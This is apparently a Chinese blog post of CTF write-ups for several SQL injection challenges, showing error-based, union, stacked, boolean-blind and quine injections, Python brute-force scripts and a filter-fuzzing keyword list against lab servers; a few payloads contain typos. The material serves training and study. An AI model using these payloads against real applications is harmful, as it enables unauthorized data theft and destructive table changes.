sql

[SWPUCTF 2021 新生赛]error

0x00

看提示感觉像是一个sql注入

image-20240107224511477

0x01

先输入一个1,看看是post 还是get

image-20240107224549868

是get,那我们就使用hackbar

0x02

判断字符型还是数字型

输入1 不报错

输入1` 报错

image-20240107224748676

所以是字符型

0x03

根据提示,这个是报错注入,使用updatexml()函数

然后就是联合注入的一部分

image-20240107225111406

0x04

1
2
3
1' union select updatexml(0x7e,concat('~',(select database())),0x7e) --+ 
1' union select updatexml(0x7e,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db' )),0x7e) --+
1' union select updatexml(0x7e,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='test_tb' )),0x7e) --+

最后确定是test_db.test_tb的flag列

image-20240107225459059

发现不能显示完,我们使用substr()控制一下

http://node4.anna.nssctf.cn:28736/index.php?id=1‘ union select updatexml(0x7e,concat(‘~’,substr((select flag from test_db.test_tb ),30,40)),0x7e) –+

image-20240107230238888

[SWPUCTF 2021 新生赛]sql

0x00

这个的重点是空格绕过,也就是想办法绕过空格

image-20240109131147652

注意参数,然后开始尝试,发现1是可以执行的

0x01

然后我尝试判断是什么类型

image-20240109131500740

一个引号出现了 问题,但是两个没有问题,所以判断是字符型,然后尝试获取显示位

image-20240109131609419

非法操作,在这个地方出现错误,我先想到有两种

  1. 空格绕过
  2. 注释

为了方便,我一下用了两种

?wllm=1’//order//by/**/4%23

image-20240109131831661

image-20240109132010921image-20240109132011437

0x02

然后就是联合查询那些,一直到获取列的元素

-1’union//1,group_concat(table_name),3//from//information_schema.tables//where//table_schema//like(database())%23

-1’union//select//1,group_concat(column_name),3//from//information_schema.columns//where//table_name/**/like(“LTLT_flag”)%23

-1’union//select//1,database(),flag//from//LTLT_flag%23

发现出现了问题image-20240109132231829

遇到这个问题,我首先想到的是,使用substr

image-20240109132346261

猜测可能把substr禁止了,所以尝试使用其他的方法

letf()

right()

mid()

image-20240109133120413

[强网杯 2019]随便注

0x00

这个主要是使用堆叠注入

0x01

先实现网站的正常功能

image-20240121152846103

先判断闭合

image-20240121153005383
image-20240121153017298

通过这个发现应该是单引号闭合

0x02

image-20240121153124797

image-20240121153135602

0x03

尝试使用select 判断一下显示位

image-20240121153246174

发现被禁用了

select 被禁用的话,那么联合注入,报错注入,盲注等,都不行了

尝试堆叠注入

image-20240121153537212

发现可以使用堆叠注入

0x04

先看看有哪些表

image-20240121153837239

一个一个查

0x05 爆破字段

image-20240121153945954

0x06

发现了flag,但是想要获取字段的话,就必须使用select,就很难办

但是我们可以使用网页后端自带的select 也就是说,我们可以将原来的word -> word1 192这个表变成words

image-20240121155702752

同时还得将这个修改了,我们可以添加一个ip列,然后将flag这一列变成data

1
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- q

然后使用

1
1' or 1=1;

使用这个的原因是,我们没有指定flag(word)对应的id,所以只要为真就能xian’shi

[CISCN 2019华北Day2]Web1

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string

def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0}1,))={1})from(flag))'.format(num,ord(i)) # 查询字段名,是否是正确的
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)


if __name__ == '__main__':
url = 'http://node4.anna.nssctf.cn:28673/index.php'
blind_injection(url)

0x02

基本思路就是,使用bool盲注的方式获取字段里面的值

[第五空间 2021]yet_another_mysql_injection

0x00

利用知识点

  1. quine

    sql 注入的内容是查询的内容

0x01

发现了源码

image-20240430205709510

image-20240430205600578

0x02

可以使用盲注的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://node4.anna.nssctf.cn:28164/index.php"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()

0x03

或者使用Quine 注入的形式

1
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

image-20240430212747415

[NISACTF 2022]join-us

0x00

使用的知识点

  1. 无列注入

    禁用columns,使用join

  2. 报错注入

    两个方法

    updatexml()

    extractvalue()

  3. 禁用databases

    可以使用一个不存在的表,然后就会返回报错

0x01

发现登录页面点进去,发现注入点

image-20240502134623307

image-20240502134634829

测试

1,0

image-20240502134658336

image-20240502134744079

发现是单引号闭合

尝试fuzz 测试,看禁用了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:
res = requests.post(url='http://node5.anna.nssctf.cn:20809/dl.php',data={'tt':i})
if '不要耍小心思喔~' in res.text:
print(i)

image-20240502134833801

发现了禁用挺多的

发现没有禁用

extractvalue

还有||

0x02

尝试爆破数据库

但是databases被禁用了

可以尝试访问一个不存在的表

image-20240502135232954

得到数据库的名字

0x03

获取表名

1
tt=1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#

image-20240502135652941

但是可以通过

0x04

因为列名也被禁用了,就只能使用join

1
tt=1'||extractvalue(1,concat(0x7e,(select * from (select * from Fal_flag a join Fal_flag b using(id,data)) c)))#

image-20240502140245389

发现不存在

爆破另一张

image-20240502140506250

然后添加mid截取

image-20240502140639265


sql
https://tsy244.github.io/2024/01/07/CTF刷题记录/WEB/sql/
Author
August Rosenberg
Posted on
January 7, 2024
Licensed under